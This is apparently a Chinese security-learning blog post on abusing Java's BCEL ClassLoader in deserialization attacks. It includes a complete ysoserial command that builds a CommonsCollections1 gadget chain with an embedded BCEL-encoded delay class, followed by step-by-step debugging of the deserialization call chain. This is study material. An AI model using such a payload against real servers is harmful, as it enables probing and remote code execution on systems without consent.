BCEL ClassLoader
BCEL是什么?
BCEL ClassLoader 本质上是一个自定义的类加载器,属于 Apache Commons BCEL(Byte Code Engineering Library)项目的一部分,主要利用于动态加载和解析 Java 字节码
类名:
com.sun.org.apache.bcel.internal.util.ClassLoader
其重写了 Java 的 ClassLoader#loadClass() 方法,可以识别以$$$BCEL$$$开头的字符串,将其解码为字节码并加载为 Java 类;相比于原生的ClassLoader,其不能够直接加载嵌入在字符串中的字节码,必须提供类路径或 URL
由此可见,BCEL ClassLoader 提供了一种更便捷的方式,但同时也带来了安全问题
在JDK 1.8.0_251以前,其属于原生类,再这之后需要引入第三方库
BCEL攻击原理
BCEL ClassLoader先识别以 $$$BCEL$$$ 开头的字符串,随后将其转换为类字节码,最后使用defineClass注册解码后的类,接着就可以加载恶意类
这里我使用的JDK版本为1.7.0_80
1 | package org.example; |
我们看到\com\sun\org\apache\bcel\internal\util\ClassLoader.java line128
首先会识别$$$BECL$$$开头的编码,当类名包含$$$BCEL$$$时,调用
createClass()方法跟进到
createClass(),先提取$$$BCEL$$$后面的字符串作为实际的编码内容,并使用BCEL的Utility.decode()方法解码压缩的字节码,最后创建ClassParser解析字节数组继续跟进,可以看到这些字节数组最后由
defineClass()注册加载,最后newInstance成实例弹出计算器
BCEL配合Gadgets在Fuzz下的延时利用
一般用于不出网,无回显的情况下查看链子是否生效的做法,不管链子是啥,核心点在于目标JDK版本下是否有原生BCEL依赖(以及链子本身的依赖),在最终构造触发点时一定是通过BCEL ClassLoader
1 | new com.sun.org.apache.bcel.internal.util.ClassLoader() |
这里借助一个ysoserial-for-woodpecker二开工具,里面内置了许多方法,帮助我们省去构造特定链子的步骤,这里以CC1举例
BCEL字符串是一个延时10s的利用类
1 | java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections1 -a "bcel:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dRMK$c3$40$Q$7d$db$sM$h$a3$adUk$fd$fe$b8$a8$3d$Y$f0$aaxP$U$aa$a9$kZz$U$b6$e9b$a3i$S$d6T$f4$Xy$eeE$c5$83$3f$c0$l$r$ce$aeU$R$c4$81$9da$de$ec$bc$f7X$f6$ed$fd$e5$V$c0$O$d6m$e41kB$c7F$c9F$Vs$W$e6m$98X$b0$b0ha$89$n$b7$XDA$ba$cf$90$dd$dcj3$Y$87qW0$U$bd$m$Sg$83$7eG$c8$W$ef$84$84$94$bd$d8$e7a$9b$cb$40$f5$p$d0H$7b$c1$NC$d5k$88$7e$y$ef$9b$3d$R$86$ee$c1$e1$91$e7$de$84B$q$bb$M$f9$3d$3f$i$J0ZX$f5$ae$f8$zwC$k$5d$ba$f5$u$VR$O$92Tt$8f$ee$7c$91$a4A$i$d1$c6x3$e5$feu$83$tZ$83$ec2$d8$cdx$m$7dq$i$uM$5bSo$x$k$H$F$d8$W$96$j$ac$60$95a$f9$7fn$Hk$b0$Z$w$7f$7be$u$fd$ac$9fw$ae$84$9f$fe$82Z$3d$vx$97$c1$i$dd66O$d4$7b$V$T$ZD$a9$b6$dc$92$dc$X$a4a$d1$a3$ab$c8$80$v$7f$94$c7$a8s$a92$aaf$ed$Jl$a8$c7$O$e5$9c$G$b3$Y$a7$ec$7c$5e$c0$E$8aT$f3$u$7d$__h2$a08$8d$cc3$8c$H$e4Ok$8f$c8$N5$98$p$V$93$u$U$5d$F$a6F$UV$m$t$ea$DLP$fe$a2$b7a$60$Se$ea$a6$e8X$c8$d4$zL$h4$98$d1$8e$w$l$84$cfe$82$3b$C$A$A" | base64 -w0 |
构造调试
我们可以具体看看这里是如何构造的,首先这里会加载到CommonsCollections1
跟进到getObject()方法
再进入到getTransformerList()方法,其必然会有识别以bcel开头的字符串,再将标准的BCEL字符串写入
果不其然,这里识别后进行截断,获取BCEL ClassLoader后进行Transformer链的构造,
反序列化调试
至此,我们再进行反序列化的调试加深对其内部逻辑的理解,这里我写了一个简单的demo(针对JDK7u80)
1 | package org.example; |
在Object obj = ois.readObject();这里下断点
跟进readObject0(),会根据类型码(tc:识别流中不同类型的序列化数据,并分发给相应的处理方法进行解析)分发到不同的读取方法,对于CC1 payload会走TC_OBJECT,即普通对象
继续跟进readOrdinaryObject(),了解具体如何读取普通对象
跟进readClassDesc()
这里会调用readNonProxyDesc()读取详细的类信息,具体跟进readClassDescriptor(),这是获取目标入口类描述信息的关键方法
desc.readNonProxy(this);会直接从序列化流中按照固定的协议格式二进制解析类元数据
这里我们看到了熟悉的CC1链的入口类sun.reflect.annotation.AnnotationInvocationHandler
此时调用栈:
回到刚才的readOrdinaryObject(),在获取了入口类描述符后,会实例化对象,检测是否有自定义反序列化逻辑,显然这里是没有的,便进入到默认的Serializable接口:readSerialData(),看看后续是如何读取序列化数据的
跟进invokeReadObject(),这里通过反射去调用目标类的readObject(),我们继续跟进
中间反射调用的跟进我们忽略,此时调用栈:
之后就是CC1链子的标准触发, 我们可以给LazyMap 的 get 方法下断点
1 | entrySet:-1, $Proxy0 (com.sun.proxy) |
这里行号是-1,通过动态代理机制调用了LazyMap.get("entrySet"),其原理这里不做赘述,我们再给transform下断点,至此执行6个Transformer链
调用BCEL ClassLoader
解析BCEL字符串
这里就在延时了
至此整个过程就分析的差不多了
值得一提的是,为什么花了大量篇幅来进行调试,主要是让自己更深刻的理解反序列化这一过程,以前其实也开始了Java反序列化的学习,但是总感觉只是拙劣的模仿;这次不管是对工具构造的调试,还是反序列化本身的调试,都使自己对接下来Java安全的学习有个数,也不再是学完了一个知识点还总有些空落落的感觉了
其它
Fastjson BCEL Payload
Thymeleaf SSTI Payload
网上普遍看到BCEL在以上两种场景下的应用,不过自己对Fastjson和Thymeleaf没有很深刻的认识,也是在这里插个眼以后接着学习,个人感觉触发点的逻辑其实也是大同小异的




























